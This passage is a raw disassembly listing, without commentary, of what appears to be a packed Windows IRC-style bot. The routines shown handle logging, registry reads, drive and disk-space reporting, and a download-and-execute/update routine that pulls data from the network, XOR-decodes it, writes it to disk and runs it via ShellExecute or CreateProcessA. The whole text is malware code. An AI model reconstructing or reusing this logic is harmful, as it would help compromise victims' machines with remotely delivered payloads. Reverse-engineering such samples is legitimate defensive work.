CODE XREF: sub_414492+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_414492 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414512 proc near ; CODE XREF: sub_401CC1+2417p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_44D158 push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 14h xor edi, edi mov esi, offset dword_452A48 loc_41453C: ; CODE XREF: sub_414512+72j cmp byte ptr [esi], 0 jz short loc_414577 lea eax, [esi+18h] loc_414544: ; DATA XREF: .nsp0:00451FE0o push eax push esi push edi push offset dword_44D16C lea eax, [ebp+var_200] push 200h push eax call sub_41B910 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 add esp, 2Ch loc_414577: ; CODE XREF: sub_414512+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4535C8 jl short loc_41453C pop edi pop esi leave retn sub_414512 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41458A proc near ; CODE XREF: sub_40141B+381p ; sub_40141B+402p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_4F13F0 ; GetLocalTime mov ebx, offset dword_4E8510 mov edi, 80h mov esi, offset dword_4E4510 loc_4145AC: ; CODE XREF: sub_41458A+3Dj cmp byte ptr [ebx], 0 jz short loc_4145C3 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B1F0 add esp, 0Ch loc_4145C3: ; CODE XREF: sub_41458A+25j sub ebx, edi cmp ebx, esi jge short loc_4145AC movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B910 add esp, 28h pop edi pop esi pop ebx leave retn sub_41458A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4145FE proc near ; CODE XREF: sub_4019E1+F7p ; sub_401CC1:loc_402260p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C6A0 lea eax, [ebp+var_80] push eax call sub_41458A add esp, 14h leave retn sub_4145FE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+14h], ebx push esi mov dword ptr [ebp-8], 80h mov [ebp-4], ebx jnz short loc_414659 push ebx push dword ptr [ebp+10h] push offset dword_44D1A4 push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_408EB9 add esp, 14h loc_414659: ; CODE XREF: .nsp0:00414640j cmp [ebp+18h], ebx jz short loc_414671 push dword ptr [ebp+18h] call sub_41B3F0 cmp eax, ebx pop ecx mov [ebp-4], eax jz short loc_414671 mov [ebp-8], eax loc_414671: ; CODE XREF: .nsp0:0041465Cj ; .nsp0:0041466Cj mov [ebp+14h], ebx mov esi, offset dword_4E4510 loc_414679: ; CODE XREF: .nsp0:004146C1j mov eax, [ebp+14h] cmp eax, [ebp-8] jge short loc_4146C3 cmp [esi], bl jz short loc_4146B2 cmp [ebp+18h], ebx jz short loc_41469E cmp [ebp-4], ebx jnz short loc_41469E push dword ptr [ebp+18h] push esi call sub_415E06 pop ecx test eax, eax pop ecx jz short loc_4146B2 loc_41469E: ; CODE XREF: .nsp0:00414688j ; .nsp0:0041468Dj push 1 push dword ptr [ebp+10h] push esi push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_408EB9 add esp, 14h loc_4146B2: ; CODE XREF: .nsp0:00414683j ; .nsp0:0041469Cj inc dword ptr [ebp+14h] add esi, 80h cmp esi, offset dword_4E8510 jl short loc_414679 loc_4146C3: ; CODE XREF: .nsp0:0041467Fj pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4146C7 proc near ; CODE XREF: sub_401CC1+2311p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4E4510 xor ecx, ecx loc_4146CE: ; CODE XREF: sub_4146C7+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4E8510 jl short loc_4146CE cmp [esp+arg_C], ecx jnz short loc_4146FC push ecx push [esp+4+arg_8] push offset dword_44D1B0 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_408EB9 add esp, 14h loc_4146FC: ; CODE XREF: sub_4146C7+19j push offset dword_44D1C4 call sub_41458A pop ecx retn sub_4146C7 endp ; --------------------------------------------------------------------------- push esi mov esi, offset dword_4E4510 loc_41470E: ; CODE XREF: .nsp0:0041472Fj cmp byte ptr [esi], 0 jz short loc_414723 push dword ptr [esp+8] push esi call sub_415E06 pop ecx test eax, eax pop ecx jnz short loc_414735 loc_414723: ; CODE XREF: .nsp0:00414711j add esi, 80h cmp esi, offset dword_4E8510 jl short loc_41470E xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_414735: ; CODE XREF: .nsp0:00414721j push 1 pop eax pop esi retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41473A proc near ; DATA XREF: sub_401CC1+23C1o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_41478D push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_44D1D8 push eax push [ebp+var_11C] call sub_408EB9 add esp, 14h loc_41478D: ; CODE XREF: sub_41473A+33j cmp [ebp+var_98], 0 jz short loc_4147AD lea eax, [ebp+var_98] push eax call sub_41B3F0 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_4147AD mov [ebp+var_8], eax loc_4147AD: ; CODE XREF: sub_41473A+5Aj ; sub_41473A+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4E4510 loc_4147B6: ; CODE XREF: sub_41473A+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_414810 cmp byte ptr [esi], 0 jz short loc_4147FF cmp [ebp+var_98], 0 jz short loc_4147E5 cmp [ebp+var_4], 0 jnz short loc_4147E5 lea eax, [ebp+var_98] push eax push esi call sub_415E06 pop ecx test eax, eax pop ecx jz short loc_4147FF loc_4147E5: ; CODE XREF: sub_41473A+90j ; sub_41473A+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_408EB9 add esp, 14h loc_4147FF: ; CODE XREF: sub_41473A+87j ; sub_41473A+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4E8510 jl short loc_4147B6 loc_414810: ; CODE XREF: sub_41473A+82j lea eax, [ebp+var_31C] push offset dword_44D1F4 push eax call sub_41B740 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_41484A push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_408EB9 add esp, 14h loc_41484A: ; CODE XREF: sub_41473A+EEj lea eax, [ebp+var_31C] push eax call sub_41458A push [ebp+var_18] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi sub_41473A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414869 proc near ; CODE XREF: sub_401CC1+2125p var_3F0 = byte ptr -3F0h var_2EC = byte ptr -2ECh var_EC = byte ptr -0ECh var_6C = byte ptr -6Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F0h push edi xor edi, edi cmp off_44D214, edi mov [ebp+var_8], 80h jz loc_414A1A push ebx push esi mov eax, offset off_44D214 mov esi, offset dword_44D220 loc_414894: ; CODE XREF: sub_414869+1A9j lea ecx, [ebp+var_4] push ecx push 20019h push edi push dword ptr [eax] push dword ptr [esi-10h] call dword_4E090C lea eax, [ebp+var_8] push eax lea eax, [ebp+var_EC] push eax push edi push edi push dword ptr [esi-8] push [ebp+var_4] call dword_4E07B0 test eax, eax jnz loc_414A00 mov eax, [esi] cmp eax, edi jz loc_4149C0 push eax lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_3F0] push offset aSS_9 ; "%s\\%s" push eax call sub_41B740 lea eax, [ebp+var_3F0] push offset aR_2 ; "r" push eax call sub_41B170 mov ebx, eax add esp, 18h cmp ebx, edi jz loc_414A00 loc_41490B: ; CODE XREF: sub_414869+C9j push ebx lea eax, [ebp+var_6C] push 64h push eax call sub_41BC90 add esp, 0Ch test eax, eax jz loc_4149B7 push dword ptr [esi+4] lea eax, [ebp+var_6C] push eax call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41490B push 3Dh push dword ptr [esi+4] call sub_41C400 pop ecx test eax, eax pop ecx jz short loc_414977 lea eax, [ebp+var_6C] push offset asc_44E4E8 ; "=" push eax call sub_41C550 push offset asc_44E4EC ; "=" push edi call sub_41C550 push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_44E4F0 push eax call sub_41B740 add esp, 20h jmp short loc_414992 ; --------------------------------------------------------------------------- loc_414977: ; CODE XREF: sub_414869+D9j lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_44E508 push eax call sub_41B740 add esp, 10h loc_414992: ; CODE XREF: sub_414869+10Cj push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_2EC] push eax call sub_41458A add esp, 18h loc_4149B7: ; CODE XREF: sub_414869+B3j push ebx call sub_418D80 pop ecx jmp short loc_414A00 ; --------------------------------------------------------------------------- loc_4149C0: ; CODE XREF: sub_414869+65j lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset dword_44E520 push eax call sub_41B740 push edi lea eax, [ebp+var_2EC] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_2EC] push eax call sub_41458A add esp, 28h loc_414A00: ; CODE XREF: sub_414869+5Bj ; sub_414869+9Cj ... push [ebp+var_4] call dword_4E087C add esi, 18h cmp [esi-0Ch], edi lea eax, [esi-0Ch] jnz loc_414894 pop esi pop ebx loc_414A1A: ; CODE XREF: sub_414869+19j pop edi leave retn sub_414869 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1D proc near ; DATA XREF: sub_401CC1+5A30o ; sub_401CC1+6151o var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4E0854 call dword_4E07B4 cmp eax, esi mov [ebp+var_18], eax jz loc_414EA9 push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_4F13A8 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_414AE4 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_44E538 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_414AC7 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 add esp, 14h loc_414AC7: ; CODE XREF: sub_414A1D+88j lea eax, [ebp+var_510] push eax call sub_41458A push [ebp+var_48] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread loc_414AE4: ; CODE XREF: sub_414A1D+68j xor edi, edi call dword_4F1364 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_418ED0 pop ecx mov [ebp+var_1C], eax loc_414AFE: ; CODE XREF: sub_414A1D+1B4j push 200h lea eax, [ebp+var_510] push esi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_4E07BC cmp [ebp+var_34], esi jz short loc_414B42 push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_414F0F pop ecx pop ecx loc_414B42: ; CODE XREF: sub_414A1D+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_4F139C ; WriteFile cmp edi, ebx jnb short loc_414B80 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_414B6A mov eax, [ebp+arg_0] loc_414B6A: ; CODE XREF: sub_414A1D+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call near ptr sub_41C8D0 add esp, 0Ch loc_414B80: ; CODE XREF: sub_414A1D+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_414B8D cmp edi, [ebp+var_3C] ja short loc_414BD7 loc_414B8D: ; CODE XREF: sub_414A1D+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_414BA7 shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_44E560 jmp short loc_414BB7 ; --------------------------------------------------------------------------- loc_414BA7: ; CODE XREF: sub_414A1D+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_44E588 loc_414BB7: ; CODE XREF: sub_414A1D+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_4535C8 push eax call sub_41B740 add esp, 10h cmp [ebp+arg_0], esi ja loc_414AFE loc_414BD7: ; CODE XREF: sub_414A1D+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_414C2C cmp edi, [ebp+var_3C] jz short loc_414C2C push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_44E5B0 push eax call sub_41B740 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 lea eax, [ebp+var_510] push eax call sub_41458A add esp, 28h loc_414C2C: ; CODE XREF: sub_414A1D+1C4j ; sub_414A1D+1C9j call dword_4F1364 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_4F1324 ; CloseHandle push [ebp+var_1C] call sub_419940 cmp [ebp+var_38], esi pop ecx jz short loc_414CB6 lea eax, [ebp+var_148] push eax call sub_4010AB cmp eax, [ebp+var_38] pop ecx jz short loc_414CB6 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_44E5DC push eax call sub_41B740 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 lea eax, [ebp+var_510] push eax call sub_41458A add esp, 28h loc_414CB6: ; CODE XREF: sub_414A1D+241j ; sub_414A1D+253j cmp [ebp+var_14], esi jz loc_414EF6 cmp [ebp+var_44], 1 jz loc_414DB1 mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_437490 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_437490 fstp [esp+590h+var_590] push offset unk_44E604 push eax call sub_41B740 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_414D31 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 add esp, 14h loc_414D31: ; CODE XREF: sub_414A1D+2F2j lea eax, [ebp+var_510] push eax call sub_41458A cmp [ebp+var_40], 1 pop ecx jnz loc_414EF6 push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen_2 ; "open" push esi call dword_4E0818 cmp [ebp+var_30], esi jnz loc_414EF6 lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_44E644 push eax call sub_41B740 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 lea eax, [ebp+var_510] push eax call sub_41458A add esp, 24h jmp loc_414EF6 ; --------------------------------------------------------------------------- loc_414DB1: ; CODE XREF: sub_414A1D+2A6j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] push ecx push ecx mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_437490 lea eax, [ebp+var_148] fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_437490 fstp [esp+590h+var_590] push offset unk_44E660 push eax call sub_41B740 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_414E19 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 add esp, 14h loc_414E19: ; CODE XREF: sub_414A1D+3DAj lea eax, [ebp+var_510] push eax call sub_41458A push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B190 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_41B190 add esp, 1Ch loc_414E45: ; DATA XREF: .nsp0:0045200Co mov [ebp+var_310], edi lea eax, [ebp+var_10] mov [ebp+var_304], offset dword_4E8570 push 1 mov [ebp+var_2E0], si pop edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi push eax push esi mov [ebp+var_2E4], edi call dword_4F1328 ; CreateProcessA cmp eax, edi jnz short loc_414E9B call dword_4E0804 call sub_41615A push esi call dword_4F1320 ; ExitProcess loc_414E9B: ; CODE XREF: sub_414A1D+46Aj lea eax, [ebp+var_148] push eax push offset unk_44E6A4 jmp short loc_414EB5 ; --------------------------------------------------------------------------- loc_414EA9: ; CODE XREF: sub_414A1D+45j lea eax, [ebp+var_248] push eax push offset unk_44E6D8 loc_414EB5: ; CODE XREF: sub_414A1D+48Aj lea eax, [ebp+var_510] push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_414EE9 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_408EB9 add esp, 14h loc_414EE9: ; CODE XREF: sub_414A1D+4AAj lea eax, [ebp+var_510] push eax call sub_41458A pop ecx loc_414EF6: ; CODE XREF: sub_414A1D+29Cj ; sub_414A1D+325j ... push [ebp+var_18] call dword_4E08D0 push [ebp+var_48] call sub_40AB19 pop ecx push esi call dword_4F1388 ; ExitThread sub_414A1D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_414F0F proc near ; CODE XREF: sub_414A1D+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_414F2B loc_414F1B: ; CODE XREF: sub_414F0F+1Aj mov dl, byte_43A094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_414F1B locret_414F2B: ; CODE XREF: sub_414F0F+Aj retn sub_414F0F endp ; =============== S U B R O U T I N E ======================================= sub_414F2C proc near ; CODE XREF: sub_401CC1+5005p ; sub_401CC1+5137p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DEA0 pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_414F2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414F46 proc near ; CODE XREF: sub_40F483+45Dp ; sub_40F483+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4E8574 push 0 push edi call sub_41B190 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_414F6B: ; CODE XREF: sub_414F46+5Bj ; sub_414F46+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DF70 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DF00 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_414FA9 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_414F6B mov byte ptr [esi], 2Ch inc esi jmp short loc_414F6B ; --------------------------------------------------------------------------- loc_414FA9: ; CODE XREF: sub_414F46+4Bj dec esi mov eax, edi loc_414FAC: ; CODE XREF: sub_414F46+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_414FBB mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_414FAC ; --------------------------------------------------------------------------- loc_414FBB: ; CODE XREF: sub_414F46+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_414F46 endp ; =============== S U B R O U T I N E ======================================= sub_414FC5 proc near ; CODE XREF: sub_41517A+51p ; sub_41517A+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4E08FC sub eax, 0 jz short loc_415008 dec eax jz short loc_415002 dec eax dec eax jz short loc_414FFC dec eax jz short loc_414FF6 dec eax jz short loc_414FF0 dec eax jz short loc_414FEA mov eax, offset dword_44E730 retn ; --------------------------------------------------------------------------- loc_414FEA: ; CODE XREF: sub_414FC5+1Dj mov eax, offset off_44E72C retn ; --------------------------------------------------------------------------- loc_414FF0: ; CODE XREF: sub_414FC5+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_414FF6: ; CODE XREF: sub_414FC5+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_414FFC: ; CODE XREF: sub_414FC5+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_415002: ; CODE XREF: sub_414FC5+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_415008: ; CODE XREF: sub_414FC5+Dj mov eax, offset aUnknown ; "Unknown" retn sub_414FC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41500E proc near ; CODE XREF: sub_415056+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4E07A0 test eax, eax jz short loc_415043 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_415043: ; CODE XREF: sub_41500E+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_41500E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415056 proc near ; CODE XREF: sub_41517A+17p ; sub_41897B+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_41500E pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_415130 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_415130 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_415130 mov edi, 400h push 0 push edi push [ebp+var_14] push [ebp+var_18] call sub_41DFF0 push edx push eax call sub_414F46 push eax mov esi, 80h push offset aSkb ; "%sKB" lea eax, [ebp+var_198] push esi push eax call sub_41B910 add esp, 18h push 0 push edi push [ebp+var_C] push [ebp+var_10] call sub_41DFF0 push edx push eax call sub_414F46 push eax push offset aSkb_0 ; "%sKB" lea eax, [ebp+var_118] push esi push eax call sub_41B910 add esp, 18h push 0 push edi push [ebp+var_4] push [ebp+var_8] call sub_41DFF0 push edx push eax call sub_414F46 push eax push offset aSkb_1 ; "%sKB" lea eax, [ebp+var_98] push esi push eax call sub_41B910 jmp short loc_415163 ; --------------------------------------------------------------------------- loc_415130: ; CODE XREF: sub_415056+2Cj ; sub_415056+3Bj ... lea eax, [ebp+var_198] push offset aFailed ; "failed" push eax call sub_41B740 lea eax, [ebp+var_118] push offset aFailed_0 ; "failed" push eax call sub_41B740 lea eax, [ebp+var_98] push offset aFailed_1 ; "failed" push eax call sub_41B740 loc_415163: ; CODE XREF: sub_415056+D8j mov eax, [ebp+arg_0] add esp, 18h lea esi, [ebp+var_198] mov edi, eax push 60h pop ecx rep movsd pop edi pop esi leave retn sub_415056 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41517A proc near ; CODE XREF: sub_41524C+17p ; sub_41524C+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_415056 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed_2 ; "failed" rep movsd push eax call sub_41C4C0 add esp, 10h test eax, eax jnz short loc_4151ED push ebx push ebx call sub_414FC5 pop ecx push eax push offset unk_44E76C lea eax, [ebp+var_500] push 200h push eax call sub_41B910 add esp, 14h jmp short loc_415221 ; --------------------------------------------------------------------------- loc_4151ED: ; CODE XREF: sub_41517A+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_414FC5 pop ecx push eax push offset unk_44E7A8 lea eax, [ebp+var_500] push 200h push eax call sub_41B910 add esp, 20h loc_415221: ; CODE XREF: sub_41517A+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_408EB9 lea eax, [ebp+var_500] push eax call sub_41458A loc_415244: ; DATA XREF: .nsp0:00451ED8o ; .nsp0:00451EE0o add esp, 18h pop edi pop esi pop ebx leave retn sub_41517A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41524C proc near ; CODE XREF: sub_401CC1+2088p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_41526D push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41517A add esp, 10h jmp short loc_4152CE ; --------------------------------------------------------------------------- loc_41526D: ; CODE XREF: sub_41524C+9j push esi push edi push ebx push ebx call dword_4E0814 lea esi, [eax+2] push esi call sub_418ED0 pop ecx mov edi, eax push edi push esi call dword_4E0814 cmp [edi], bl mov esi, edi jz short loc_4152C5 